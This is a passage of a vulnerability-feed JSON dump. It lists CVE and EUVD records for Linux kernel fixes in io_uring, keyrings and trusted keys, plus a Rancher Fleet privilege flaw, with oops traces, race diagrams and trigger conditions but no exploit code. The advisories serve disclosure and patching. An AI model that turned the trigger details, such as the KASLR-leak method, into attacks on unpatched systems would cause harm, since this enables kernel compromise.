then loses the signal:\n\n  io_wq_exit_workers()               io_worker_handle_work()\n    io_wq_worker_wake()\n      set TIF_NOTIFY_SIGNAL\n                                       io_assign_current_work()\n                                         io_run_task_work()\n                                           clear TIF_NOTIFY_SIGNAL\n                                       io_wq_submit_work()\n                                         fifo_open()\n                                           wait_for_partner()\n    wait_for_completion_timeout()\n\nThe thread never gets out of do_exit():\n\n  IORING_OP_OPENAT of a FIFO without a writer, IOSQE_ASYNC\n  exit of the thread that has submitted it\n\nhangs in more than 9 of 10 attempts (4 CPUs, KVM), until the process is\nkilled.\n\nSet TIF_NOTIFY_SIGNAL for bounded work that is started with IO_WQ_BIT_EXIT\nset. The bit is set before the workers are signalled, and it is tested\nafter the flag has been cleared, with clear_notify_signal() providing the\nbarrier. So either the flag stays, or the bit is seen.\n\nWork that is started while the io-wq exits is treated like work that is\nbeing run at that time: it isn't interrupted unless it waits\ninterruptibly.","published_time":"2026-11-02T16:06:36","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/ddccc60f036b309430cf130d48aafed94ef7355a","https://git.kernel.org/stable/c/08c42055b8f9a5d29236d34ad4bce08828239fe1","https://git.kernel.org/stable/c/62996803c1b5f18176de255db4c843021f2d19c8","https://git.kernel.org/stable/c/7309fea05a3d66af9746843c43fef14c10b8141e","https://git.kernel.org/stable/c/fdb771015c1e13677b57a4015f0c938748f13781","https://git.kernel.org/stable/c/63c103279a95e82280092f2f4232e91e8117a252"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99229","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/wait: don't spin on a stuck overflow list\n\nAs long as IO_CHECK_CQ_OVERFLOW_BIT is set, io_cqring_wait_schedule()\nreturns right away, before it gets to look at signals or arms the timeout,\nfor io_cqring_wait() to flush the overflow list. If that doesn't empty the\nlist, and the CQ ring doesn't hold the number of events the caller wants,\nthe loop starts over, with the same result. The task spins in the kernel,\nand can't be killed.\n\nThe assumption is that this can't happen: if CQEs can't be flushed, the\nring is full, and min_events is capped to the size of the ring. But:\n\n- With IORING_SETUP_CQE_MIXED a 32b CQE needs two contiguous entries. It\n  is stuck on the list if a single one is free, and then the ring holds\n  less than cq_entries events. A single threaded application that asks\n  for as many events as the ring has entries never gets out of\n  io_uring_enter().\n\n- Whether the ring is full is up to the CQ head, which the application\n  can write to. While one thread waits for events on an empty ring,\n  another one can move the head back so that the ring looks full and\n  have a CQE overflow. The waiter can't be stopped any more, not even by\n  SIGKILL.\n\nOnly the application can make room in the CQ ring. Return to it if the\nlist could not be flushed.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00157,"ranking_epss":0.04834,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/34f5a664c34d3cb62f6bec7f4156754594a7d25b","https://git.kernel.org/stable/c/4a89352edd8b3e20d1e1fb33f0fc297dd137149f","https://git.kernel.org/stable/c/a6cfc85c6bf9498aaf1978b503f9663635a1aa22","https://git.kernel.org/stable/c/bf1d2ed84b3162e3b0e0bb7018ac59147da6e975","https://git.kernel.org/stable/c/c347691e5dc5481b2d6943c123619e04847fb0dc"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:47","euvd":{"id":"EUVD-2026-115271","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/wait: don't spin on a stuck overflow list\n\nAs long as IO_CHECK_CQ_OVERFLOW_BIT is set, io_cqring_wait_schedule()\nreturns right away, before it gets to look at signals or arms the timeout,\nfor io_cqring_wait() to flush the overflow list. If that doesn't empty the\nlist, and the CQ ring doesn't hold the number of events the caller wants,\nthe loop starts over, with the same result. The task spins in the kernel,\nand can't be killed.\n\nThe assumption is that this can't happen: if CQEs can't be flushed, the\nring is full, and min_events is capped to the size of the ring. But:\n\n- With IORING_SETUP_CQE_MIXED a 32b CQE needs two contiguous entries. It\n  is stuck on the list if a single one is free, and then the ring holds\n  less than cq_entries events. A single threaded application that asks\n  for as many events as the ring has entries never gets out of\n  io_uring_enter().\n\n- Whether the ring is full is up to the CQ head, which the application\n  can write to. While one thread waits for events on an empty ring,\n  another one can move the head back so that the ring looks full and\n  have a CQE overflow. The waiter can't be stopped any more, not even by\n  SIGKILL.\n\nOnly the application can make room in the CQ ring. Return to it if the\nlist could not be flushed.","published_time":"2026-11-02T16:06:37","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/bf1d2ed84b3162e3b0e0bb7018ac59147da6e975","https://git.kernel.org/stable/c/a6cfc85c6bf9498aaf1978b503f9663635a1aa22","https://git.kernel.org/stable/c/4a89352edd8b3e20d1e1fb33f0fc297dd137149f","https://git.kernel.org/stable/c/c347691e5dc5481b2d6943c123619e04847fb0dc","https://git.kernel.org/stable/c/34f5a664c34d3cb62f6bec7f4156754594a7d25b"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99230","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/cmd: don't leave list poison in ->hash_node\n\nio_uring_cmd_del_cancelable() uses hlist_del() to take a command off\n->cancelable_uring_cmd, which leaves LIST_POISON1/2 behind in\n->hash_node. Requests are recycled through the request cache without\nbeing reinitialised, and not every user of ->hash_node sets it up before\nit is used:\n\nIf a vectored futex wait is woken while futex_wait_multiple_setup() is\nstill queueing the futexes, io_futexv_wait() doesn't add the request to\n->futex_list, and leaves the completion to the task_work queued by the\nwake up. io_futexv_complete() ends in __io_futex_complete(), whose\nhlist_del_init() is fine for a request that is unhashed, which is how all\nother users of the node leave it. If the request was a cancelable\nuring_cmd in its previous life, e.g. a ublk FETCH_REQ, it writes through\nLIST_POISON2:\n\n  Oops: general protection fault, probably for non-canonical address\n  KASAN: maybe wild-memory-access in range [0xdead000000000120-...]\n  RIP: 0010:io_futexv_complete+0x219/0x420\n  Call Trace:\n   tctx_task_work_run+0x804/0x950\n   tctx_task_work+0x71/0xa0\n   task_work_run+0x118/0x200\n\nLeave the node unhashed.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00155,"ranking_epss":0.04646,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/2d5af21422060c088f6e4fb0f1e7dcf5bcdd6707","https://git.kernel.org/stable/c/4c83e39f4d1944d7146fd06094f2c8053238d55c","https://git.kernel.org/stable/c/685b49483200384d7f49d338af476e26e6824637","https://git.kernel.org/stable/c/cc7f13d006fcefed9564bd79f135b51d344e9c77"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:47","euvd":{"id":"EUVD-2026-115272","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/cmd: don't leave list poison in ->hash_node\n\nio_uring_cmd_del_cancelable() uses hlist_del() to take a command off\n->cancelable_uring_cmd, which leaves LIST_POISON1/2 behind in\n->hash_node. Requests are recycled through the request cache without\nbeing reinitialised, and not every user of ->hash_node sets it up before\nit is used:\n\nIf a vectored futex wait is woken while futex_wait_multiple_setup() is\nstill queueing the futexes, io_futexv_wait() doesn't add the request to\n->futex_list, and leaves the completion to the task_work queued by the\nwake up. io_futexv_complete() ends in __io_futex_complete(), whose\nhlist_del_init() is fine for a request that is unhashed, which is how all\nother users of the node leave it. If the request was a cancelable\nuring_cmd in its previous life, e.g. a ublk FETCH_REQ, it writes through\nLIST_POISON2:\n\n  Oops: general protection fault, probably for non-canonical address\n  KASAN: maybe wild-memory-access in range [0xdead000000000120-...]\n  RIP: 0010:io_futexv_complete+0x219/0x420\n  Call Trace:\n   tctx_task_work_run+0x804/0x950\n   tctx_task_work+0x71/0xa0\n   task_work_run+0x118/0x200\n\nLeave the node unhashed.","published_time":"2026-11-02T16:06:37","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/cc7f13d006fcefed9564bd79f135b51d344e9c77","https://git.kernel.org/stable/c/2d5af21422060c088f6e4fb0f1e7dcf5bcdd6707","https://git.kernel.org/stable/c/685b49483200384d7f49d338af476e26e6824637","https://git.kernel.org/stable/c/4c83e39f4d1944d7146fd06094f2c8053238d55c"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99220","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nasymmetric_keys: reject trust keys without IDs\n\nThe PKCS#8 parser deliberately leaves the asym_key_ids payload slot\nempty. key_or_keyring_common() unconditionally dereferences that slot\nwhen a PKCS#8 key is supplied to a key_or_keyring restriction. Both the\nplain and :chain forms reach this branch, allowing an unprivileged caller\nto trigger a NULL pointer dereference through KEYCTL_RESTRICT_KEYRING\nfollowed by add_key().\n\n Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000\n KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n RIP: 0010:key_or_keyring_common (crypto/asymmetric_keys/restrict.c:205 crypto/asymmetric_keys/restrict.c:279)\n Call Trace:\n  <TASK>\n  __key_create_or_update (security/keys/key.c:884)\n  key_create_or_update (security/keys/key.c:1021)\n  __do_sys_add_key (security/keys/keyctl.c:134)\n  do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)\n  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n  </TASK>\n Kernel panic - not syncing: Fatal exception\n\nReject an asymmetric restriction key without key IDs. A PKCS#8 private\nkey cannot identify the signer of a candidate certificate and is not a\nvalid trust anchor.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00115,"ranking_epss":0.01565,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/1aa0c7aa4c2554a5b6d74ae1924508ca4718234b","https://git.kernel.org/stable/c/2a40bdd4409567de4c2a141ac66439dc238af752","https://git.kernel.org/stable/c/33a078f04e264eb71aa9f209cb334e4010123818","https://git.kernel.org/stable/c/57e54b6939c6539d90a81c7e57531901d5991651","https://git.kernel.org/stable/c/7f0728ba89624e25df2bb80ff59bbfb545060935","https://git.kernel.org/stable/c/889a2293a95f6c2880bf73b67f9b0af23251a128","https://git.kernel.org/stable/c/9695df3b1db4ac4534274d38ee16e3b9b0bf910e"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:46","euvd":{"id":"EUVD-2026-115262","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nasymmetric_keys: reject trust keys without IDs\n\nThe PKCS#8 parser deliberately leaves the asym_key_ids payload slot\nempty. key_or_keyring_common() unconditionally dereferences that slot\nwhen a PKCS#8 key is supplied to a key_or_keyring restriction. Both the\nplain and :chain forms reach this branch, allowing an unprivileged caller\nto trigger a NULL pointer dereference through KEYCTL_RESTRICT_KEYRING\nfollowed by add_key().\n\n Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000\n KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n RIP: 0010:key_or_keyring_common (crypto/asymmetric_keys/restrict.c:205 crypto/asymmetric_keys/restrict.c:279)\n Call Trace:\n  <TASK>\n  __key_create_or_update (security/keys/key.c:884)\n  key_create_or_update (security/keys/key.c:1021)\n  __do_sys_add_key (security/keys/keyctl.c:134)\n  do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)\n  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n  </TASK>\n Kernel panic - not syncing: Fatal exception\n\nReject an asymmetric restriction key without key IDs. A PKCS#8 private\nkey cannot identify the signer of a candidate certificate and is not a\nvalid trust anchor.","published_time":"2026-11-02T16:06:31","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/889a2293a95f6c2880bf73b67f9b0af23251a128","https://git.kernel.org/stable/c/7f0728ba89624e25df2bb80ff59bbfb545060935","https://git.kernel.org/stable/c/2a40bdd4409567de4c2a141ac66439dc238af752","https://git.kernel.org/stable/c/1aa0c7aa4c2554a5b6d74ae1924508ca4718234b","https://git.kernel.org/stable/c/33a078f04e264eb71aa9f209cb334e4010123818","https://git.kernel.org/stable/c/57e54b6939c6539d90a81c7e57531901d5991651","https://git.kernel.org/stable/c/9695df3b1db4ac4534274d38ee16e3b9b0bf910e"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99221","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys/trusted_keys: return immediately after TPM unseal failure\n\ntrusted_tpm_unseal() proceeds to pcrlock() when the TPM unseal operation\nfails. If pcrlock() succeeds, its return value overwrites the unseal error,\ncausing key instantiation to succeed.\n\nReturn immediately when unseal fails to preserve the original error.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00173,"ranking_epss":0.06755,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/234d09bb3b3d84851d4b3246272addc30f3353eb","https://git.kernel.org/stable/c/2d92a0f87c338a08367aff05edd1ade86da4ac8d","https://git.kernel.org/stable/c/4876f09ce222e140a73aad950882b3605440c935","https://git.kernel.org/stable/c/63b19ec2863b2cb5279b746ecd3d6210b1a93945","https://git.kernel.org/stable/c/6e359d8cb8580b9874801dea930086effd4d9c62","https://git.kernel.org/stable/c/e55d48f21f591a9fe80d26b5fbd1912ea725d9e6","https://git.kernel.org/stable/c/ed697a5f667435bbb1cedbe5bd9f300de645047d","https://git.kernel.org/stable/c/f92d0ccb05bf9089072cb067dda0dffd5394c4ef"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:46","euvd":{"id":"EUVD-2026-115263","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys/trusted_keys: return immediately after TPM unseal failure\n\ntrusted_tpm_unseal() proceeds to pcrlock() when the TPM unseal operation\nfails. If pcrlock() succeeds, its return value overwrites the unseal error,\ncausing key instantiation to succeed.\n\nReturn immediately when unseal fails to preserve the original error.","published_time":"2026-11-02T16:06:32","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/4876f09ce222e140a73aad950882b3605440c935","https://git.kernel.org/stable/c/2d92a0f87c338a08367aff05edd1ade86da4ac8d","https://git.kernel.org/stable/c/234d09bb3b3d84851d4b3246272addc30f3353eb","https://git.kernel.org/stable/c/6e359d8cb8580b9874801dea930086effd4d9c62","https://git.kernel.org/stable/c/e55d48f21f591a9fe80d26b5fbd1912ea725d9e6","https://git.kernel.org/stable/c/63b19ec2863b2cb5279b746ecd3d6210b1a93945","https://git.kernel.org/stable/c/ed697a5f667435bbb1cedbe5bd9f300de645047d","https://git.kernel.org/stable/c/f92d0ccb05bf9089072cb067dda0dffd5394c4ef"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99222","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Protect the read method check against type removal\n\nkeyctl_read_key() checks key->type->read without holding key->sem.\nA reference keeps the key alive, but does not pin the module containing\nits type. A surviving RxRPC key can therefore be read while AF_RXRPC\nis being unloaded:\n\n  KEYCTL_READ task                    Module unload and key GC\n  ----------------                   ------------------------\n  lookup_user_key()\n  permission / possession checks\n  load key->type\n                                     af_rxrpc_exit()\n                                       unregister_key_type()\n                                         GC: down_write(key->sem)\n                                         GC: retype to key_type_dead\n                                         GC: up_write(key->sem)\n                                       unregister_key_type() returns\n                                     free_module()\n  read saved type's read member\n\nThe final access can read freed module storage. The read invocation in\n__keyctl_read_key() is already protected by key->sem, but the earlier\nmethod check is outside that critical section.\n\nMove the method check into __keyctl_read_key(), after key_validate() and\nunder its existing read hold on key->sem. The check and invocation then\nuse the same protected type for length queries and every read retry.\nThe GC cannot retype the key until the semaphore is released, and type\nunregistration waits for that GC pass before the module can be freed.\n\nReturn -EOPNOTSUPP when validation succeeds and the type has no read\nmethod. A temporary buffer may now be allocated before this result;\nallocation and copying to userspace remain outside the semaphore.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00165,"ranking_epss":0.05736,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/1486caee47b4909f52835a957c3293e970113e44","https://git.kernel.org/stable/c/3edc064069d07e7d37359fcb4d03d3bab15ee3ab","https://git.kernel.org/stable/c/6a36e2a1a017c51f8a8ad2a094566bad97c46a9b","https://git.kernel.org/stable/c/925c84e3cc21caf09de92d9bcafab0147790debf","https://git.kernel.org/stable/c/cf1af7df80e38bf58bd74c2cccce32fcbd1a596a","https://git.kernel.org/stable/c/e2a2deda08d91644f5e30c17d267b1cdc5f124b2","https://git.kernel.org/stable/c/e5f830ae6611cddbfc504c43f14155f60b63206a","https://git.kernel.org/stable/c/ff11cfed85cbfdd7fe1185ebd18d2c7a8353ad8d","https://git.kernel.org/stable/c/ff44f1b303aa76a818d898e85c56ed4852c031e2"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:46","euvd":{"id":"EUVD-2026-115264","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Protect the read method check against type removal\n\nkeyctl_read_key() checks key->type->read without holding key->sem.\nA reference keeps the key alive, but does not pin the module containing\nits type. A surviving RxRPC key can therefore be read while AF_RXRPC\nis being unloaded:\n\n  KEYCTL_READ task                    Module unload and key GC\n  ----------------                   ------------------------\n  lookup_user_key()\n  permission / possession checks\n  load key->type\n                                     af_rxrpc_exit()\n                                       unregister_key_type()\n                                         GC: down_write(key->sem)\n                                         GC: retype to key_type_dead\n                                         GC: up_write(key->sem)\n                                       unregister_key_type() returns\n                                     free_module()\n  read saved type's read member\n\nThe final access can read freed module storage. The read invocation in\n__keyctl_read_key() is already protected by key->sem, but the earlier\nmethod check is outside that critical section.\n\nMove the method check into __keyctl_read_key(), after key_validate() and\nunder its existing read hold on key->sem. The check and invocation then\nuse the same protected type for length queries and every read retry.\nThe GC cannot retype the key until the semaphore is released, and type\nunregistration waits for that GC pass before the module can be freed.\n\nReturn -EOPNOTSUPP when validation succeeds and the type has no read\nmethod. A temporary buffer may now be allocated before this result;\nallocation and copying to userspace remain outside the semaphore.","published_time":"2026-11-02T16:06:32","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/e5f830ae6611cddbfc504c43f14155f60b63206a","https://git.kernel.org/stable/c/ff11cfed85cbfdd7fe1185ebd18d2c7a8353ad8d","https://git.kernel.org/stable/c/1486caee47b4909f52835a957c3293e970113e44","https://git.kernel.org/stable/c/ff44f1b303aa76a818d898e85c56ed4852c031e2","https://git.kernel.org/stable/c/6a36e2a1a017c51f8a8ad2a094566bad97c46a9b","https://git.kernel.org/stable/c/3edc064069d07e7d37359fcb4d03d3bab15ee3ab","https://git.kernel.org/stable/c/cf1af7df80e38bf58bd74c2cccce32fcbd1a596a","https://git.kernel.org/stable/c/e2a2deda08d91644f5e30c17d267b1cdc5f124b2","https://git.kernel.org/stable/c/925c84e3cc21caf09de92d9bcafab0147790debf"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99223","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: make keyring indexes independent of kernel addresses\n\nKEYCTL_READ returns the serial numbers in a keyring in associative-array\ntraversal order.  The first word of the index is a public, deterministic\nhash of the type pointer, domain pointer and description.  An unprivileged\nuser can therefore insert keys with known descriptions, predict their\norder for each possible KASLR slide, and recover the kernel image address.\nOn an x86-64 build with 16 MiB alignment, 45 user keys suffice to\ndistinguish the candidate slides.\n\nRemove the addresses from the whole index, not just its first hash word.\nAssign each key type and domain a nonzero 64-bit ID and hash those IDs and\nthe description with a once-initialized SipHash key.  Use the full IDs in\nthe later index chunks as well.  Truncating or hashing the IDs there would\nlose the guarantee that distinct type/domain/description tuples have a\ndiffering index bit.\n\nAllocate IDs lazily since private key types need not be registered.  Cache\nthem in the index key so tree walks and copies of an existing index do not\nneed to dereference a type descriptor that may have been unregistered.\nKeep the 32-bit chunk layout and diff_objects() bit offsets consistent,\nand retain the separate root slot for keyrings used by recursive search.\nThe key comparison, permissions and userspace data format are unchanged;\nonly the address-dependent in-memory ordering is replaced.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00165,"ranking_epss":0.05734,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/13fc051269d670810d9e314061b61c6dd06116a0","https://git.kernel.org/stable/c/61ac0585d9f4344d3dfb84b5edff1fee7d532897","https://git.kernel.org/stable/c/8451d4a4c43127c3b9fdf9fc9ff3fea5539a61f9","https://git.kernel.org/stable/c/84f7c699f8d139f743c7dc11ef41d085690955bb","https://git.kernel.org/stable/c/9ebe824d55983c9f063a2c9ef1a08b29812d406f","https://git.kernel.org/stable/c/9f084ef0beb68091e96ab96f0e95579aac8a77f9","https://git.kernel.org/stable/c/a113eba06bd1183c614d7994864d6e7054140cb9","https://git.kernel.org/stable/c/de891c73c1cf41ac8de12c07fa2c84d6a912ad0c","https://git.kernel.org/stable/c/e108b22999edbc6f431466baf6b2016c19b7ed31"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:46","euvd":{"id":"EUVD-2026-115265","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: make keyring indexes independent of kernel addresses\n\nKEYCTL_READ returns the serial numbers in a keyring in associative-array\ntraversal order.  The first word of the index is a public, deterministic\nhash of the type pointer, domain pointer and description.  An unprivileged\nuser can therefore insert keys with known descriptions, predict their\norder for each possible KASLR slide, and recover the kernel image address.\nOn an x86-64 build with 16 MiB alignment, 45 user keys suffice to\ndistinguish the candidate slides.\n\nRemove the addresses from the whole index, not just its first hash word.\nAssign each key type and domain a nonzero 64-bit ID and hash those IDs and\nthe description with a once-initialized SipHash key.  Use the full IDs in\nthe later index chunks as well.  Truncating or hashing the IDs there would\nlose the guarantee that distinct type/domain/description tuples have a\ndiffering index bit.\n\nAllocate IDs lazily since private key types need not be registered.  Cache\nthem in the index key so tree walks and copies of an existing index do not\nneed to dereference a type descriptor that may have been unregistered.\nKeep the 32-bit chunk layout and diff_objects() bit offsets consistent,\nand retain the separate root slot for keyrings used by recursive search.\nThe key comparison, permissions and userspace data format are unchanged;\nonly the address-dependent in-memory ordering is replaced.","published_time":"2026-11-02T16:06:33","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/9ebe824d55983c9f063a2c9ef1a08b29812d406f","https://git.kernel.org/stable/c/e108b22999edbc6f431466baf6b2016c19b7ed31","https://git.kernel.org/stable/c/9f084ef0beb68091e96ab96f0e95579aac8a77f9","https://git.kernel.org/stable/c/8451d4a4c43127c3b9fdf9fc9ff3fea5539a61f9","https://git.kernel.org/stable/c/13fc051269d670810d9e314061b61c6dd06116a0","https://git.kernel.org/stable/c/61ac0585d9f4344d3dfb84b5edff1fee7d532897","https://git.kernel.org/stable/c/84f7c699f8d139f743c7dc11ef41d085690955bb","https://git.kernel.org/stable/c/a113eba06bd1183c614d7994864d6e7054140cb9","https://git.kernel.org/stable/c/de891c73c1cf41ac8de12c07fa2c84d6a912ad0c"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99224","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Protect the type name while describing a key\n\nkeyctl_describe_key() must keep the key type's name alive until\nkasprintf() has consumed it. The retained key reference keeps the key\nand its description alive, but does not pin the module providing its\ntype. The name is passed to kasprintf() without holding key->sem.\n\nkvasprintf() uses the saved name pointer in two formatting passes, with\na GFP_KERNEL allocation between them. With AF_RXRPC=m, a task that\npasses View permission before type retirement can overlap a privileged\nmodule unload in this order:\n\n1. KEYCTL_DESCRIBE looks up the key, saves key->type->name in the\n   kasprintf() arguments and completes the first formatting pass.\n2. While the formatter is delayed before its second pass,\n   af_rxrpc_exit() calls unregister_key_type(), which removes the type\n   from the registry and waits for key_gc_keytype().\n3. The collector takes key->sem for writing, retypes the retained key\n   to key_type_dead and completes retirement. Unregistration and module\n   exit return, allowing free_module() to release the type and name.\n4. The formatter resumes its second pass and reads the saved name from\n   released module storage, which can fault in string().\n\nHold key->sem for reading across kasprintf(). The collector then cannot\nretype the key or complete retirement until both formatting passes have\nfinished. If retirement wins the lock first, formatting uses the core\nkey_type_dead name instead. Release the semaphore immediately after\nkasprintf(), including on allocation failure, before copying to\nuserspace.\n\nOops report as below:\n\n    BUG: unable to handle page fault for address: fffffbfff8054794\n    #PF: supervisor read access in kernel mode\n    #PF: error_code(0x0000) - not-present page\n    RIP: 0010:string+0x23f/0x470\n    Call Trace:\n     vsnprintf+0x330/0x1110","cvss":7.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.0,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01455,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0461bc8f91116aae4a020e15f4e1c1fd535ab35e","https://git.kernel.org/stable/c/19c4de819e52b7f606468fbfe4fcef4e812e2777","https://git.kernel.org/stable/c/3c3cfd9e262afc9558c38f8cec57f09d10988546","https://git.kernel.org/stable/c/6b613747f7ea309ada5b8d05b55398c338f7a968","https://git.kernel.org/stable/c/916667df7695366f23cfaf365b5840b228cc4b2e","https://git.kernel.org/stable/c/a49e6c9a1a5b3457c946a8efb616ce13b4ca8194","https://git.kernel.org/stable/c/dddd3a1ab7d12ee163477918ff6eb943361db4fe","https://git.kernel.org/stable/c/dea367df18e3a4faac393e3a4e818ee03af89b19","https://git.kernel.org/stable/c/fced7238b7e80cf8aa688d5af976e4aa6e33c329"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:46","euvd":{"id":"EUVD-2026-115266","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Protect the type name while describing a key\n\nkeyctl_describe_key() must keep the key type's name alive until\nkasprintf() has consumed it. The retained key reference keeps the key\nand its description alive, but does not pin the module providing its\ntype. The name is passed to kasprintf() without holding key->sem.\n\nkvasprintf() uses the saved name pointer in two formatting passes, with\na GFP_KERNEL allocation between them. With AF_RXRPC=m, a task that\npasses View permission before type retirement can overlap a privileged\nmodule unload in this order:\n\n1. KEYCTL_DESCRIBE looks up the key, saves key->type->name in the\n   kasprintf() arguments and completes the first formatting pass.\n2. While the formatter is delayed before its second pass,\n   af_rxrpc_exit() calls unregister_key_type(), which removes the type\n   from the registry and waits for key_gc_keytype().\n3. The collector takes key->sem for writing, retypes the retained key\n   to key_type_dead and completes retirement. Unregistration and module\n   exit return, allowing free_module() to release the type and name.\n4. The formatter resumes its second pass and reads the saved name from\n   released module storage, which can fault in string().\n\nHold key->sem for reading across kasprintf(). The collector then cannot\nretype the key or complete retirement until both formatting passes have\nfinished. If retirement wins the lock first, formatting uses the core\nkey_type_dead name instead. Release the semaphore immediately after\nkasprintf(), including on allocation failure, before copying to\nuserspace.\n\nOops report as below:\n\n    BUG: unable to handle page fault for address: fffffbfff8054794\n    #PF: supervisor read access in kernel mode\n    #PF: error_code(0x0000) - not-present page\n    RIP: 0010:string+0x23f/0x470\n    Call Trace:\n     vsnprintf+0x330/0x1110","published_time":"2026-11-02T16:06:34","cvss":7.0,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/19c4de819e52b7f606468fbfe4fcef4e812e2777","https://git.kernel.org/stable/c/a49e6c9a1a5b3457c946a8efb616ce13b4ca8194","https://git.kernel.org/stable/c/916667df7695366f23cfaf365b5840b228cc4b2e","https://git.kernel.org/stable/c/dddd3a1ab7d12ee163477918ff6eb943361db4fe","https://git.kernel.org/stable/c/3c3cfd9e262afc9558c38f8cec57f09d10988546","https://git.kernel.org/stable/c/6b613747f7ea309ada5b8d05b55398c338f7a968","https://git.kernel.org/stable/c/dea367df18e3a4faac393e3a4e818ee03af89b19","https://git.kernel.org/stable/c/0461bc8f91116aae4a020e15f4e1c1fd535ab35e","https://git.kernel.org/stable/c/fced7238b7e80cf8aa688d5af976e4aa6e33c329"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-94290","summary":"SUSE Rancher Fleet clusters reference a kubeconfig secret that the controller uses to install and manage a Fleet agent on the target cluster. The controller did not sufficiently restrict which kubeconfig secrets a Fleet Cluster object was allowed to reference. As a result, a Fleet cluster defined in a namespace an ordinary user controls could be associated with administrative credentials for the management cluster itself, causing the controller to manage the management cluster on that user's behalf and to run that user's Fleet content there with elevated privileges. This affects SUSE Rancher 